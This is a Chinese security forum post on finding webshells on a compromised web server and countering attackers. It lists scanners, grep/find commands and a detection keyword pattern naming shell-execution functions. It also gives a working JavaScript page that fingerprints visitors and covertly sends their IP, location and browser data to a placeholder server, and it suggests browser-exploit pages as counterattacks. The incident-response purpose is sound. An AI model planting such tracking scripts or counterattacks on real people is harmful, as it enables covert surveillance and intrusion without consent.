安全矩阵

 找回密码
 立即注册
搜索
查看: 2360|回复: 0

webshell溯源排查与反制

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2022-2-8 20:36:59 | 显示全部楼层 |阅读模式
原文链接:webshell溯源排查与反制
webshell溯源排查与反制
一、前言
溯源排查中比较重要的一环是web突破口排查,攻击者通过web突破口入侵时,有极大的概率会写入webshell,本文介绍下常见的webshell排查方法和流程。

二、工具查杀
使用d盾、安全狗、护卫神等webshell查杀工具查杀web目录
1、d盾:
http://www.d99net.net/
3、网站安全狗:
https://www.safedog.cn/website_safedog.html
3、百度webshell查杀引擎:
https://scanner.baidu.com/#/pages/intro

三、手工查杀
由于某些变种webshell查杀工具很难发现,所以有些时候需要手工从其他维度去查杀,比如修改时间,日志,备份对比等。
1、上传目录关键字查找
上传目录是最有可能存在webshell的,一般来说需要优先排查上传目录
脚本代码排查
  1. grep -rn php upload/
复制代码

关键字排查

eval、system、assert、phpspy、c99sh、milw0rm、gunerpress、shell_exec、passthru、bash等关键字
  1. find /www/upload -name "*.php" |xargs egrep 'assert|bash|system|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval\(|file_put_contents|base64_decode'
复制代码

2、web非上传目录排查增删查改

如果上传目录没有发现webshell,那么有可能攻击者使用了除web上传接口的其他途径写入了文件,如命令执行等,此时需要排查web目录的非上传路径。
备份对比
对比非常传目录前后文件变动,寻找可疑文件,再进一步关键字匹配分析
  1. vimdiff <(cd /tmp/1.1; find . | sort) <(cd /tmp/1.2; find . | sort)
复制代码

3、时间戳排查

跟据情况调取短期内改动文件分析
  1. find / -mtime -10 -mtime +1 2>/dev/null #一天前,十天内变动的文件
复制代码

4、文件名排查
使用tree命令列举整个web目录文件,然后排查可疑文件
windows linux都可用
  1. tree /var/www/
复制代码
5、日志排查
  1. cat /var/log/apache2/access.log | grep "antSword"
复制代码

四、反向利用
1、篡改webshell页面利用js获取攻击者信息。
利用js获取信息例子
可获取对方ip、系统时间、浏览器各项信息等

  1. <!DOCTYPE html>
  2. <html>
  3.   <head>
  4.     <meta charset="UTF-8">
  5.     <title></title>
  6.   </head>


  7.   <body>
  8. <script>
  9.   Date.prototype.Format = function (fmt) {
  10.     var o = {
  11.         "M+": this.getMonth() + 1, // 月份
  12.         "d+": this.getDate(), // 日
  13.         "h+": this.getHours(), // 小时
  14.         "m+": this.getMinutes(), // 分
  15.         "s+": this.getSeconds(), // 秒
  16.         "q+": Math.floor((this.getMonth() + 3) / 3), // 季度
  17.         "S": this.getMilliseconds() // 毫秒
  18.     };
  19.     if (/(y+)/.test(fmt))
  20.         fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
  21.     for (var k in o)
  22.         if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
  23.             return fmt;
  24. }
  25. </script>
  26.     <script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
  27.     <script>
  28.           document.write(returnCitySN["cip"]+','+returnCitySN["cname"]+"</br>")
  29. </script>
  30.     <script type="text/javascript">
  31.     let time = new Date().Format("yyyy-MM-dd hh:mm:ss")
  32.     document.write(time+"</br>")
  33. </script>
  34.     <script type="text/javascript">
  35.     document.write("userAgent: " + navigator.userAgent + "<br>");
  36.     document.write("appName: " + navigator.appName + "<br>");
  37.     document.write("appCodeName: " + navigator.appCodeName + "<br>");
  38.     document.write("appVersion: " + navigator.appVersion + "<br>");
  39.     document.write("appMinorVersion: " + navigator.appMinorVersion + "<br>");
  40.     document.write("platform: " + navigator.platform + "<br>");
  41.     document.write("cookieEnabled: " + navigator.cookieEnabled + "<br>");
  42.     document.write("onLine: " + navigator.onLine + "<br>");
  43.     document.write("userLanguage: " + navigator.language + "<br>");
  44.     document.write("mimeTypes.description: " + navigator.mimeTypes[1].description + "<br>");
  45.     document.write("mimeTypes.type: " + navigator.mimeTypes[1].type + "<br>");
  46.     document.write("plugins.description: " + navigator.plugins[3].description + "<br>");
  47.   var str_all = returnCitySN["cip"]+','+returnCitySN["cname"]+','+time+','+navigator.userAgent+','+navigator.appVersion+','+navigator.platform
  48.   var url = "http://xx.xx.xx.xx:8000/?info="+str_all
  49.   var request = new XMLHttpRequest();
  50.   request.open("GET",url)
  51.   request.send();
  52. </script>
  53.   </body>
  54. </html>
复制代码

然后接收服务器写一个小处理脚本将其保存下来
为求方便也可以使用xss平台来接收
2、利用浏览器漏洞反制攻击者。
可架设攻击浏览器历史漏洞的页面,但是成功概率不高。
3、反制webshell管理工具
可参考文章《端内钓鱼,反制蚁剑》
https://mp.weixin.qq.com/s/WNv9nPWvKudwimtYTd1zDQ



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-5-17 20:58 , Processed in 0.014142 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表